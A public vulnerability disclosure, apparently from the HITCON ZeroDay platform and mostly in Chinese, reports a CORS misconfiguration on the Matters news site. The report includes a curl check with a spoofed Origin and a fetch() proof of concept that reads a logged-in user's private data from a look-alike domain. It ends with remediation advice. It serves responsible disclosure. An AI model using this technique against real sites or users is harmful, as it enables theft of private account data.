Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-00828
- Vendor: Matters Lab
- Title: matters網站 CORS misconfiguration 漏洞
- Introduction: CORS misconfiguration
- 感謝函
- 風雲榜
處理狀態
目前狀態
公開
Last Update : 2020/11/18
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2020/09/18 21:59:34 : 新提交 (由 huli 更新此狀態)
- 2020/09/20 20:23:54 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/09/21 19:02:36 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/09/21 19:02:36 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/11/18 03:00:01 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-00828
- 通報者:aszx87410 (huli)
- 風險:低
- 類型:其他 (Other)
參考資料
暫無資料
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://server.matters.news/graphql?operationName=RootQueryPrivate&variables=%7B%7D&extensions=%7B%22persistedQuery%22%3A%7B%22version%22%3A1%2C%22sha256Hash%22%3A%228c1da912107393949ac43223233ca8772e321f7afe39f153bebc4f8a959b6dad%22%7D%7D
敘述
CORS response header 沒有設置好,只檢查 suffix,所以 origin 是 *matters.news 都可以過
網頁使用 cookie 驗證身份(沒有加 SameSite 屬性),再加上 response header 有 access-control-allow-credentials: true
因此可以做一個釣魚網站,使用者造訪時若是 matters.news 是處於登入狀態,就可以拿到使用者資料
驗證:
curl -I -H 'Origin: http://fakematters.news' 'https://server.matters.news/graphql?operationName=RootQueryPrivate&variables=%7B%7D&extensions=%7B%22persistedQuery%22%3A%7B%22version%22%3A1%2C%22sha256Hash%22%3A%228c1da912107393949ac43223233ca8772e321f7afe39f153bebc4f8a959b6dad%22%7D%7D'
access-control-allow-origin: http://fakematters.news
vary: Origin
access-control-allow-credentials: true
重現漏洞方式:
- 在 matters.news 網站登入
- 在 local 端跑一個網頁,內容是:
fetch('https://server.matters.news/graphql?operationName=RootQueryPrivate&variables=%7B%7D&extensions=%7B%22persistedQuery%22%3A%7B%22version%22%3A1%2C%22sha256Hash%22%3A%228c1da912107393949ac43223233ca8772e321f7afe39f153bebc4f8a959b6dad%22%7D%7D', {
credentials: 'include'
}).then((res) => {
return res.text()
}).then((res) => {
console.log(res)
})
- 在 /etc/hosts 設置 fakematters.news domain 對應到 127.0.0.1
- 用 Chrome 以外瀏覽器打開 fakematters.news(因為 Chrome 新版預設有 SameSite cookie,此攻擊就無效了)
- 打開 console,看到使用者資料
修補建議
1. 設置 allowlist 而非判斷 suffix
2. auth cookie 加上 same site 屬性
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。